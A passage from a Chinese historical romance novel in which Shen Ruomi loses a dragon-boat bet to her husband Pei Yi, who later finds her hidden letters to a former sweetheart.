曹氏看沈若宓盯得目不转睛,笑着给她倒了杯茶。 那冰酪有些甜腻,沈若宓喝了口茶润喉,轻轻吐出一口气道:“是不是魁首并不重要,博个彩头而已,若众人能勠力同心,集千桨破关,方为这龙舟赛的意义。” 曹氏拊掌惊叹道:“嫂嫂你说得可真好,若子文参赛,我定然想让他夺得魁首,倒是我过于执着名利了!” 这番奉承之言夸得沈若宓汗颜。 既确定了裴翊夺不了魁首,沈若宓便淡定地喝着茶与曹氏闲聊起来,直到梅氏提醒她去看赛况。 怎么不太对? 沈若宓心下一沉,猛地起身撩开面纱去看,瞪大双眼。 不过喝了一盏茶的功夫,那挂满彩帆的京都队龙舟在一望无际的金鱼池上竟宛如般越过了广州队与泉州队,以她尚未反应过来的速度迅速抵达了漂浮着红色浮标的终点! 龙舟最前面的一个男子也终于脱去了上衣,露出他双臂遒劲的肌肉以及后背上那标志性的鸟首龙身兽。 “大嫂,大伯身上怎么会有鸟首龙身?” 曹氏激动地摇着沈若宓道:“我听说这纹身是契族特有的图腾,名字叫做达玛,是只有获得契族首领许可的勇猛之士才能获得的殊荣……” 然而此刻沈若宓却听不进去曹氏的话,也没了适才的气定神闲。 竟真让他夺了魁! 她愣愣地想,真是偷鸡不成蚀把米,难道真要答应他一个条件? 今日当真是处处不顺。 傍晚时分,沈若宓疲惫地回了家中。 裴翊和整个京都队的队员都入宫领赏去了。 回了芳菲馆,终于不必再强颜欢笑,沈若宓屏退了所有人,从床下的暗格中翻出一只黑漆锦盒。 犹豫着打开锦盒,盒子里装有十几封泛黄的信笺,都是当初她与那人往来的信物。 八岁那年,十四岁的少年搬到了她家的隔壁,与她成为邻居。 他日夜勤学苦读,她却从小就对诗书不感兴趣,更喜欢乡野之间无忧无虑、自由自在的生活。 自从遇见他之后,她才重新拿起母亲褚氏曾耳提面命让她读的书,借着不懂诗书的名义用信与他攀谈了数次。 少女的情意如藤蔓般纠结、缠绕与疯长,四年的时间她也终于得以读书识字,也看着他从瘦弱的少年长成清俊高大的青年,只是那份爱慕之心却始终找不到机会宣之于口。 后来褚氏过世,她悲伤过度,日夜守在母亲坟茔边的草庐中不肯离去。那一夜他终于向她表明心意,并以自己的螭纹玉佩相赠,隔着帘子许诺来日金榜题名之日,定不相负。 那时她百感交集,一时未出声,待出门去时,他却已悄然离去,前往省城参加秋闱。 若一切顺利,秋闱结束后便会直接前往京都城参与来年的春闱。 沈若宓捡起他的玉佩在手中细细摩挲,不觉泪水再次流了下来。 三年前离开临安去京都城时,她便在他寄来的信中得知他已顺利通过了秋闱。 那段时日她几乎将自己所有的思念都写在这封信中,想寄给远在京都城的他,却又因少女的矜持迟迟未曾寄出去。 后来她也到了京都城,又想着如果有幸能活着回来,不论他身在何处她都要立即将信寄给他表白心意,与他白首偕老。 只是那封表白心意的信到底没有机会送出去,她便被沈皇后许给了裴翊。 明知道与他已早无可能,可是一回忆起那段温暖美好的年少时光,心中还是会痛得发酸,悔得发堵。 …… 一夜无梦。 清晨,沈若宓在迷迷糊糊中醒了过来。 她将手伸入亵衣当中,把男人的手抓了出来。 翻了个身,继续睡。 那男人却又继续从背后贴过来,握住她的小腿。 待她恍然惊醒时,早已被他如那京都队的龙舟般掀起满池凌乱湖水,意图直捣黄龙。 算起来,自打那回为了堵裴曼瑛与陈翰之口在书房中的那一回后,两人也是许久不曾敦伦过了。 若在平时她也就随他为所欲为了,可今日她实在没心情,懒得再去演戏应付他,便一声不吭地用力夹紧双腿,偏不叫他如愿。 也许沈锦容和沈静宛都将裴翊视作一位极好的郎君,并为因不能嫁他而对她含恨生怨,而对于沈若宓而言,裴翊虽有一副好皮囊好身体,她对他却实在难以生出其它多余的情感。 因为她早已见过一个极好极好,比裴翊还要好的郎君。 这场婚姻,不过是凑合着过下去罢了。 或许等到他们的孩子日后都长大成人,她与裴翊会变的跟她的婆母嘉善长公主和公爹裴铳一样,连多说句话都觉着累和烦,能不见就尽量避着不见。 裴翊以为她还在因昨日打赌输了的事在闹脾气,说实话他那不过是逗逗她而已,倒不曾真正想叫她去应允他什么。 作为夫妻两人以往敦伦的次数并不多,每月也就有个四五回,至多七八回。 并非是裴翊不愿敦伦,一个血气方刚的男人,又不是清心寡欲的圣人,平心而论夜深人静他有欲.望的时候占大部分,但靠他的意志也尚能克制。 一则他平日里很忙,几乎是一刻不能得闲,又不是欲.火.焚.身非要解决不可,夜里早早歇了明日还能早起。 二则他的妻子平日 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三年前圣旨赐婚之时,人人皆道这沈家满门政治暴发户,沈氏女出身乡野,怕是性格更加粗鄙难堪,当年他深受陛下重用,正是春风得意年轻气盛之时,一心想娶的是知书达礼的世家贵女,骤闻此噩耗,饶是他素来不在意儿女情长,心中难免气闷。 只是陛下钟情沈皇后,宫中无人出其左右,即便身为陛下的亲外甥,他又岂能为了一己之私拒婚,不避其锋芒?即便早知沈继宗和沈皇后别有图谋,唯有捏着鼻子娶了。 所幸这女子尚算美貌温柔,有时宁可自己受委屈,亦要事事以他为先。 夫妻之间,倘能做到举案齐眉,相敬如宾,再得一双聪慧儿女,裴翊便已是心满意足。 如他的父母,二弟四弟,二叔三叔的婚姻,哪一个这辈子又不是凑合着过的,如三弟少廉与潘氏那般青梅竹马的少年夫妻毕竟是少数。 何况潘氏那般拿乔造作的女子,三天一小吵,五天一大闹,裴翊想想就受不了,也没自家弟弟有精力和好脾气去哄。 这般想着,裴翊缓缓吐出胸臆间的一口气,只觉通体舒泰。 他虽有些不满她的肆意妄为,但床笫之间的小性倒也别有几分情趣,也许沈氏这人性格也并非他所想的那般木讷无趣,但日后她若再如此给他脸色看,他少不得便要教教她如何从夫了。 裴翊起身去捡两人掉落在地上的亵衣,才发现沈氏的肚兜掉到了床底下。 他伸手去够,手背却碰到个冰冷的物件。 裴翊将那东西够出来,发现是一只黑漆锦盒,只有巴掌大小,上面还扣着把小锁。 藏了什么见不得人的东西,不然为何还要藏到床底下? 裴翊蹙着眉,扫了一眼身后仍旧熟睡的妻子。 他本以为她在他这里是没有秘密的。 不过是个人皆有秘密,沈若宓的秘密他也不感兴趣,只要她能安分地当好自己的妻子,他自然也会给她应有的尊重体面。 裴翊这厢想着,那厢却下意识地随手拿帐子上的金钩在那小锁的锁芯里一撬,锁节“啪嗒”的轻轻一声,便自行开了。 床上的女子仍在酣然沉睡。 他情知偷看他人信件不对,但低头看了一瞬,便毫不犹豫地拿着锦盒去了外间。 坐下之后又生了丝悔意,似乎不该如此。 犹豫之间,忽想到万一是沈氏与沈皇后在图谋什么不可告人的密事,或许他这么做在义与礼上失了分寸,但在忠与孝上却是在防微杜渐,大义凛然。 这般想着,心头那最后一丝犹豫也烟消云散。锦盒中看起来像是信,有些是写在纸上,有些则是写在丝帕、甚至是树叶和干花上。 与寻常人往来信件不同的是,每一封信上都是一段段的或长或短的对话,这信中是迥然不同的两种笔迹。 一人下笔用力,字迹歪歪扭扭,错字甚多、大白话,喜欢自说自话,写些琐碎而无关紧要的小事,全然一副小女儿痴娇之态,令人看了眉头紧锁,嗤之以鼻。 一人则文采……还算不错,写着一笔工整的簪花小楷,穿插诗词,言谈稳重耐心,多有劝慰安抚,应当是个男子。 信如此写,说明二人应该挨得极近,平日里却又不大方便说上话。 裴翊年纪轻轻便号称断案如神,坐稳大理寺少卿的位置,将大周律例倒背如流,不是没有缘由的。 只因多年来办案细致入微,罪犯再细微的漏洞亦能条分缕析,三法司无人不惊叹,得到老师大理寺卿周瑾的赏识,方有了今日的功名。 据他所知,沈氏与家中的这几个兄弟姊妹关系都不甚好,她应当不会主动给家中的兄弟姐妹写信。 那这信究竟是写给谁的? 且不提这信中字迹斜扭难看,据皇后所言沈氏性格温柔寡言,长于道观中,而信中内容却热烈奔放,俏皮可爱,甚至亲昵地唤对方为“阿简哥哥”,显然这女子天性活泼,生于乡野之间。 似乎,还是个以卖豆腐为生的女子。 譬如在一封信中,她详细地写了豆腐的制作过程,在一片树叶上又抱怨今日做豆腐因赖床起晚,去早市的时候早市都要歇业了,只卖了一钱,回家的途中还踩到一坨狗屎,似乎极是懊恼。 那男子于则于树叶背面写“祸福相倚”,说什么他曾在一本古籍中看到过,踩到狗屎要走大运。 简直荒谬至极! 沈家虽是政治暴发户,但在青州时亦是富甲一方的富商,自家的女儿不可能沦落到去卖豆腐为生,还与一个男子如此情意绵绵地通着信件,分明是有私情。 于是裴翊得出了结论:这应当不是沈氏写的信。 不过越看到后面,这女子信中的内容倒是矜持了不少,字迹也好看了一些。 待到裴翊拿到那唯一一封写着抬头“阿简亲启”的信笺时,他发现信下最底竟还躺着一块羊脂玉佩,看玉佩上的螭纹,这应当是块男子的玉佩。 接着他飞快地拆开信,目光直直地钉在了信的落款处—— 如能归来,愿与君共结连理,只羡鸳鸯不羡仙。 庚寅年十月,年年字。 庚寅年,兴启十年,三年前的信。 年年,他妻子的乳名。 他曾亲口听沈皇后说起过。 很好,是她的信。 她写给谁的? …… …… 裴翊面无表情地揉碎了手中的信。